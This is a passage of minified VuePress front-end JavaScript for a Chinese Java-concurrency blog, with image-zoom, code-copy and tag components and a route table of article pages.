t(){f=!1,F.zoomed.removeEventListener("transitionend",t),F.original.dispatchEvent(jo("medium-zoom:opened",{detail:{zoom:k}})),e(k)})),F.original.getAttribute("data-zoom-src")){F.zoomedHd=F.zoomed.cloneNode(),F.zoomedHd.removeAttribute("srcset"),F.zoomedHd.removeAttribute("sizes"),F.zoomedHd.src=F.zoomed.getAttribute("data-zoom-src"),F.zoomedHd.onerror=function(){clearInterval(a),console.warn("Unable to reach the zoom image target "+F.zoomedHd.src),F.zoomedHd=null,E()};var a=setInterval((function(){F.zoomedHd.complete&&(clearInterval(a),F.zoomedHd.classList.add("medium-zoom-image--opened"),F.zoomedHd.addEventListener("click",d),document.body.appendChild(F.zoomedHd),E())}),10)}else if(F.original.hasAttribute("srcset")){F.zoomedHd=F.zoomed.cloneNode(),F.zoomedHd.removeAttribute("sizes"),F.zoomedHd.removeAttribute("loading");var n=F.zoomedHd.addEventListener("load",(function(){F.zoomedHd.removeEventListener("load",n),F.zoomedHd.classList.add("medium-zoom-image--opened"),F.zoomedHd.addEventListener("click",d),document.body.appendChild(F.zoomedHd),E()}))}else E()}}}))},d=function(){return new l((function(e){if(!f&&F.original){f=!0,document.body.classList.remove("medium-zoom--opened"),F.zoomed.style.transform="",F.zoomedHd&&(F.zoomedHd.style.transform=""),F.template&&(F.template.style.transition="opacity 150ms",F.template.style.opacity=0),F.original.dispatchEvent(jo("medium-zoom:close",{detail:{zoom:k}})),F.zoomed.addEventListener("transitionend",(function t(){F.original.classList.remove("medium-zoom-image--hidden"),document.body.removeChild(F.zoomed),F.zoomedHd&&document.body.removeChild(F.zoomedHd),document.body.removeChild(D),F.zoomed.classList.remove("medium-zoom-image--opened"),F.template&&document.body.removeChild(F.template),f=!1,F.zoomed.removeEventListener("transitionend",t),F.original.dispatchEvent(jo("medium-zoom:closed",{detail:{zoom:k}})),F.original=null,F.zoomed=null,F.zoomedHd=null,F.template=null,e(k)}))}else e(k)}))},p=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.target;return F.original?d():s({target:t})},h=function(){return C},u=function(){return v},g=function(){return F.original},v=[],y=[],f=!1,b=0,C=E,F={original:null,zoomed:null,zoomedHd:null,template:null};"[object Object]"===Object.prototype.toString.call(t)?C=t:(t||"string"==typeof t)&&c(t),C=So({margin:0,background:"#fff",scrollOffset:40,container:null,template:null},C);var D=xo(C.background);document.addEventListener("click",r),document.addEventListener("keyup",n),document.addEventListener("scroll",a),window.addEventListener("resize",d);var k={open:s,close:d,toggle:p,update:o,clone:i,attach:c,detach:A,on:m,off:B,getOptions:h,getImages:u,getZoomedImage:g};return k},Uo={data:()=>({zoom:null}),mounted(){this.updateZoom()},updated(){this.updateZoom()},methods:{updateZoom(){setTimeout(()=>{this.zoom&&this.zoom.detach(),this.zoom=Lo("img:not(.nozoom)",{margin:16})},1e3)}}},Ro={props:{parent:Object,code:String,options:{align:String,color:String,backgroundTransition:Boolean,backgroundColor:String,successText:String,staticIcon:Boolean}},data:()=>({success:!1,originalBackground:null,originalTransition:null}),computed:{alignStyle(){let e={};return e[this.options.align]="7.5px",e},iconClass(){return this.options.staticIcon?"":"hover"}},mounted(){this.originalTransition=this.parent.style.transition,this.originalBackground=this.parent.style.background},beforeDestroy(){this.parent.style.transition=this.originalTransition,this.parent.style.background=this.originalBackground},methods:{hexToRgb(e){let t=/^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(e);return t?{r:parseInt(t[1],16),g:parseInt(t[2],16),b:parseInt(t[3],16)}:null},copyToClipboard(e){if(navigator.clipboard)navigator.clipboard.writeText(this.code).then(()=>{this.setSuccessTransitions()},()=>{});else{let e=document.createElement("textarea");document.body.appendChild(e),e.value=this.code,e.select(),document.execCommand("Copy"),e.remove(),this.setSuccessTransitions()}},setSuccessTransitions(){if(clearTimeout(this.successTimeout),this.options.backgroundTransition){this.parent.style.transition="background 350ms";let e=this.hexToRgb(this.options.backgroundColor);this.parent.style.background=`rgba(${e.r}, ${e.g}, ${e.b}, 0.1)`}this.success=!0,this.successTimeout=setTimeout(()=>{this.options.backgroundTransition&&(this.parent.style.background=this.originalBackground,this.parent.style.transition=this.originalTransition),this.success=!1},500)}}},Io=(E(236),E(7)),qo=Object(Io.a)(Ro,(function(){var e=this,t=e._self._c;return t("div",{staticClass:"code-copy"},[t("svg",{class:e.iconClass,style:e.alignStyle,attrs:{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",viewBox:"0 0 24 24"},on:{click:e.copyToClipboard}},[t("path",{attrs:{fill:"none",d:"M0 0h24v24H0z"}}),e._v(" "),t("path",{attrs:{fill:e.options.color,d:"M16 1H4c-1.1 0-2 .9-2 2v14h2V3h12V1zm-1 4l6 6v10c0 1.1-.9 2-2 2H7.99C6.89 23 6 22.1 6 21l.01-14c0-1.1.89-2 1.99-2h7zm-1 7h5.5L14 6.5V12z"}})]),e._v(" "),t("span",{class:e.success?"success":"",style:e.alignStyle},[e._v("\n "+e._s(e.options.successText)+"\n ")])])}),[],!1,null,"49140617",null).exports,Qo=(E(237),{updated(){this.update()},methods:{update(){setTimeout(()=>{document.querySelectorAll('div[class*="language-"] pre').forEach(e=>{if(e.classList.contains("code-copy-added"))return;let t=new(zE.extend(qo));t.options={align:"bottom",color:"#3eaf7c",backgroundTransition:!0,backgroundColor:"#0075b8",successText:"@冰河: 代码已经复制到剪贴板",staticIcon:!1},t.code=e.innerText,t.parent=e,t.$mount(),e.classList.add("code-copy-added"),e.appendChild(t.$el)})},100)}}}),Oo={props:{tags:{type:Array,default:[]},config:{type:Object,default:{type:"default",color:"#42b983",border:"1px solid #e2faef"}}},created(){this.tag.color=this.config.color,this.tag.border=this.config.border,this.tag.backgroundColor=this.config.backgroundColor,this.rainbowInit()},data:()=>({tag:{color:null,border:null,backgroundColor:null},_rainbowData:{timer:null}}),methods:{classObject(e){let t=this.config.type;return{"not-first":0===e,"tag--primary":"primary"===t,"tag--success":"success"===t,"tag--info":"info"===t,"tag--warning":"warning"===t,"tag--danger":"danger"===t}},rainbowInit(){"rainbow"===this.config.type&&(this.config.rainbows?this.rainbowsRandom():console.warn("randows 未配置随机标签样式组,彩虹随机样式将不生效"))},rainbowsRandom(){const e=this.config.rainbows;let t=e[Math.floor(Math.random()*e.length)];this.tag.color=t.color,this.tag.border=t.border,this.tag.backgroundColor=t.backgroundColor}},mounted(){},computed:{styleObject(){return"default"===this.config.type||"rainbow"===this.config.type?{color:this.tag.color,border:this.tag.border,"background-color":this.tag.backgroundColor}:{}}},watch:{config(e){this.tag.color=e.color,this.tag.border=e.border,this.tag.backgroundColor=e.backgroundColor}}},Jo=(E(238),Object(Io.a)(Oo,(function(){var e=this,t=e._self._c;return t("div",e._l(e.tags,(function(E,l){return t("span",{staticClass:"tag",class:e.classObject(l),style:e.styleObject},[e._v("\n "+e._s(E)+"\n ")])})),0)}),[],!1,null,"354ca784",null).exports);const Zo={type:"default",color:"#42b983",border:"1px solid #e2faef",backgroundColor:"#f0faf5",selector:".page .content__default h1"};var Wo=[uo,Co,ko,Uo,Qo,{created(){this._mrcodeTags={config:Object.assign({},Zo,{type:"default",color:"#42b983",border:"1px solid #e2faef",backgroundColor:"#f0faf5",selector:".page .content__default h1"})}},mounted(){this.$nextTick(()=>{setTimeout(()=>{this._addTagsToPage()},300)})},watch:{"$page.path"(e){this.$nextTick(()=>{this._addTagsToPage()})},"$page.key"(e){}},updated(){},methods:{_addTagsToPage(){const e=document.querySelectorAll(this._mrcodeTags.config.selector);if(0==e.length)return;if(!this.$frontmatter.tags)return;let t=this._mrcodeTags.config,E=e[0],l=new(zE.extend(Jo))({propsData:{tags:this.$frontmatter.tags,config:t}});l.$mount(),function(e,t){let E=t.parentNode;E.lastChild==t?E.appendChild(e):E.insertBefore(e,t.nextSibling)}(l.$el,E)}}}],Vo={name:"GlobalLayout",computed:{layout(){const e=this.getLayout();return mo("layout",e),zE.component(e)}},methods:{getLayout(){if(this.$page.path){const e=this.$page.frontmatter.layout;return e&&(this.$vuepress.getLayoutAsyncComponent(e)||this.$vuepress.getVueComponent(e))?e:"Layout"}return"NotFound"}}},zo=Object(Io.a)(Vo,(function(){return(0,this._self._c)(this.layout,{tag:"component"})}),[],!1,null,null,null).exports;!function(e,t,E){switch(t){case"components":e[t]||(e[t]={}),Object.assign(e[t],E);break;case"mixins":e[t]||(e[t]=[]),e[t].push(...E);break;default:throw new Error("Unknown option name.")}}(zo,"mixins",Wo);const $o=[{name:"v-2c99a2f6",path:"/",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-2c99a2f6").then(E)}},{path:"/index.html",redirect:"/"},{name:"v-0ed90b67",path:"/md/about/job/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-0ed90b67").then(E)}},{name:"v-21fe9a67",path:"/md/about/me/about-me.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-21fe9a67").then(E)}},{name:"v-2141330f",path:"/md/about/study/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-2141330f").then(E)}},{name:"v-61bf581b",path:"/md/all/all.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-61bf581b").then(E)}},{name:"v-1fc1b82e",path:"/md/concurrent/ActualCombat/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-1fc1b82e").then(E)}},{name:"v-299725c0",path:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-299725c0").then(E)}},{path:"/md/concurrent/basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.html",redirect:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html"},{path:"/md/concurrent/basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.html",redirect:"/md/concurrent/basics/2020-03-30-001-%E6%98%8E%E6%98%8E%E4%B8%AD%E6%96%AD%E4%BA%86%E7%BA%BF%E7%A8%8B%EF%BC%8C%E5%8D%B4%E4%B8%BA%E4%BD%95%E4%B8%8D%E8%B5%B7%E4%BD%9C%E7%94%A8%E5%91%A2%EF%BC%9F.html"},{name:"v-31bbb118",path:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-31bbb118").then(E)}},{path:"/md/concurrent/basics/2020-03-30-002-由InterruptedException异常引发的思考.html",redirect:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html"},{path:"/md/concurrent/basics/2020-03-30-002-由InterruptedException异常引发的思考.html",redirect:"/md/concurrent/basics/2020-03-30-002-%E7%94%B1InterruptedException%E5%BC%82%E5%B8%B8%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html"},{name:"v-445822d6",path:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-445822d6").then(E)}},{path:"/md/concurrent/basics/2020-03-30-003-要想学好并发编程,关键是要理解这三个核心问题.html",redirect:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html"},{path:"/md/concurrent/basics/2020-03-30-003-要想学好并发编程,关键是要理解这三个核心问题.html",redirect:"/md/concurrent/basics/2020-03-30-003-%E8%A6%81%E6%83%B3%E5%AD%A6%E5%A5%BD%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%EF%BC%8C%E5%85%B3%E9%94%AE%E6%98%AF%E8%A6%81%E7%90%86%E8%A7%A3%E8%BF%99%E4%B8%89%E4%B8%AA%E6%A0%B8%E5%BF%83%E9%97%AE%E9%A2%98.html"},{name:"v-18b95f38",path:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-18b95f38").then(E)}},{path:"/md/concurrent/basics/2020-03-30-004-导致并发编程频繁出问题的“幕后黑手”.html",redirect:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html"},{path:"/md/concurrent/basics/2020-03-30-004-导致并发编程频繁出问题的“幕后黑手”.html",redirect:"/md/concurrent/basics/2020-03-30-004-%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B%E9%A2%91%E7%B9%81%E5%87%BA%E9%97%AE%E9%A2%98%E7%9A%84%E2%80%9C%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%9D.html"},{name:"v-b7200bd4",path:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-b7200bd4").then(E)}},{path:"/md/concurrent/basics/2020-03-30-005-解密诡异并发问题的第一个幕后黑手——可见性问题.html",redirect:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html"},{path:"/md/concurrent/basics/2020-03-30-005-解密诡异并发问题的第一个幕后黑手——可见性问题.html",redirect:"/md/concurrent/basics/2020-03-30-005-%E8%A7%A3%E5%AF%86%E8%AF%A1%E5%BC%82%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8F%AF%E8%A7%81%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"v-2736e994",path:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-2736e994").then(E)}},{path:"/md/concurrent/basics/2020-03-30-006-解密导致并发问题的第二个幕后黑手——原子性问题.html",redirect:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html"},{path:"/md/concurrent/basics/2020-03-30-006-解密导致并发问题的第二个幕后黑手——原子性问题.html",redirect:"/md/concurrent/basics/2020-03-30-006-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E5%8E%9F%E5%AD%90%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"v-01e4323c",path:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-01e4323c").then(E)}},{path:"/md/concurrent/basics/2020-03-30-007-解密导致并发问题的第三个幕后黑手——有序性问题.html",redirect:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html"},{path:"/md/concurrent/basics/2020-03-30-007-解密导致并发问题的第三个幕后黑手——有序性问题.html",redirect:"/md/concurrent/basics/2020-03-30-007-%E8%A7%A3%E5%AF%86%E5%AF%BC%E8%87%B4%E5%B9%B6%E5%8F%91%E9%97%AE%E9%A2%98%E7%9A%84%E7%AC%AC%E4%B8%89%E4%B8%AA%E5%B9%95%E5%90%8E%E9%BB%91%E6%89%8B%E2%80%94%E2%80%94%E6%9C%89%E5%BA%8F%E6%80%A7%E9%97%AE%E9%A2%98.html"},{name:"v-16c9a526",path:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-16c9a526").then(E)}},{path:"/md/concurrent/basics/2020-03-30-008-一文秒懂Happens-Before原则.html",redirect:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html"},{path:"/md/concurrent/basics/2020-03-30-008-一文秒懂Happens-Before原则.html",redirect:"/md/concurrent/basics/2020-03-30-008-%E4%B8%80%E6%96%87%E7%A7%92%E6%87%82Happens-Before%E5%8E%9F%E5%88%99.html"},{name:"v-b1628c52",path:"/md/concurrent/bottom/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-b1628c52").then(E)}},{name:"v-96e84136",path:"/md/concurrent/framework/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-96e84136").then(E)}},{name:"v-0afc3a45",path:"/md/concurrent/interview/default.html",component:zo,beforeEnter:(e,t,E)=>{Ao("Layout","v-0afc3a45").then(E)}},{name:"v-31ebc6be",path:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-31ebc6be").then(E)}},{path:"/md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.html",redirect:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html"},{path:"/md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.html",redirect:"/md/concurrent/source/2020-03-30-001-%E4%B8%80%E6%96%87%E6%90%9E%E6%87%82%E7%BA%BF%E7%A8%8B%E4%B8%8E%E5%A4%9A%E7%BA%BF%E7%A8%8B.html"},{name:"v-1f23bca6",path:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-1f23bca6").then(E)}},{path:"/md/concurrent/source/2020-03-30-002-如何确保线程按照我们想要的顺序执行.html",redirect:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html"},{path:"/md/concurrent/source/2020-03-30-002-如何确保线程按照我们想要的顺序执行.html",redirect:"/md/concurrent/source/2020-03-30-002-%E5%A6%82%E4%BD%95%E7%A1%AE%E4%BF%9D%E7%BA%BF%E7%A8%8B%E6%8C%89%E7%85%A7%E6%88%91%E4%BB%AC%E6%83%B3%E8%A6%81%E7%9A%84%E9%A1%BA%E5%BA%8F%E6%89%A7%E8%A1%8C.html"},{name:"v-691192ba",path:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-691192ba").then(E)}},{path:"/md/concurrent/source/2020-03-30-003-深入解析Callable接口.html",redirect:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html"},{path:"/md/concurrent/source/2020-03-30-003-深入解析Callable接口.html",redirect:"/md/concurrent/source/2020-03-30-003-%E6%B7%B1%E5%85%A5%E8%A7%A3%E6%9E%90Callable%E6%8E%A5%E5%8F%A3.html"},{name:"v-56a704c7",path:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-56a704c7").then(E)}},{path:"/md/concurrent/source/2020-03-30-004-两种异步模型与深度解析Future接口.html",redirect:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html"},{path:"/md/concurrent/source/2020-03-30-004-两种异步模型与深度解析Future接口.html",redirect:"/md/concurrent/source/2020-03-30-004-%E4%B8%A4%E7%A7%8D%E5%BC%82%E6%AD%A5%E6%A8%A1%E5%9E%8B%E4%B8%8E%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90Future%E6%8E%A5%E5%8F%A3.html"},{name:"v-30250e53",path:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-30250e53").then(E)}},{path:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat类到底为啥不是线程安全的?(附六种解决方案,建议收藏).html",redirect:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html"},{path:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat类到底为啥不是线程安全的?(附六种解决方案,建议收藏).html",redirect:"/md/concurrent/source/2020-03-30-005-SimpleDateFormat%E7%B1%BB%E5%88%B0%E5%BA%95%E4%B8%BA%E5%95%A5%E4%B8%8D%E6%98%AF%E7%BA%BF%E7%A8%8B%E5%AE%89%E5%85%A8%E7%9A%84%EF%BC%9F%EF%BC%88%E9%99%84%E5%85%AD%E7%A7%8D%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88%EF%BC%8C%E5%BB%BA%E8%AE%AE%E6%94%B6%E8%97%8F%EF%BC%89.html"},{name:"v-256b335a",path:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-256b335a").then(E)}},{path:"/md/concurrent/source/2020-03-30-006-不得不说的线程池与ThreadPoolExecutor类浅析.html",redirect:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html"},{path:"/md/concurrent/source/2020-03-30-006-不得不说的线程池与ThreadPoolExecutor类浅析.html",redirect:"/md/concurrent/source/2020-03-30-006-%E4%B8%8D%E5%BE%97%E4%B8%8D%E8%AF%B4%E7%9A%84%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%8EThreadPoolExecutor%E7%B1%BB%E6%B5%85%E6%9E%90.html"},{name:"v-dc4734cc",path:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-dc4734cc").then(E)}},{path:"/md/concurrent/source/2020-03-30-007-深度解析线程池中那些重要的顶层接口和抽象类.html",redirect:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html"},{path:"/md/concurrent/source/2020-03-30-007-深度解析线程池中那些重要的顶层接口和抽象类.html",redirect:"/md/concurrent/source/2020-03-30-007-%E6%B7%B1%E5%BA%A6%E8%A7%A3%E6%9E%90%E7%BA%BF%E7%A8%8B%E6%B1%A0%E4%B8%AD%E9%82%A3%E4%BA%9B%E9%87%8D%E8%A6%81%E7%9A%84%E9%A1%B6%E5%B1%82%E6%8E%A5%E5%8F%A3%E5%92%8C%E6%8A%BD%E8%B1%A1%E7%B1%BB.html"},{name:"v-0eb505a2",path:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7%A0%81%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90%E5%88%9B%E5%BB%BA%E7%BA%BF%E7%A8%8B%E6%B1%A0%E7%A9%B6%E7%AB%9F%E6%9C%89%E5%93%AA%E4%BA%9B%E6%96%B9%E5%BC%8F.html",component:zo,beforeEnter:(e,t,E)=>{Ao("post","v-0eb505a2").then(E)}},{path:"/md/concurrent/source/2020-03-30-008-从源码角度分析创建线程池究竟有哪些方式.html",redirect:"/md/concurrent/source/2020-03-30-008-%E4%BB%8E%E6%BA%90%E7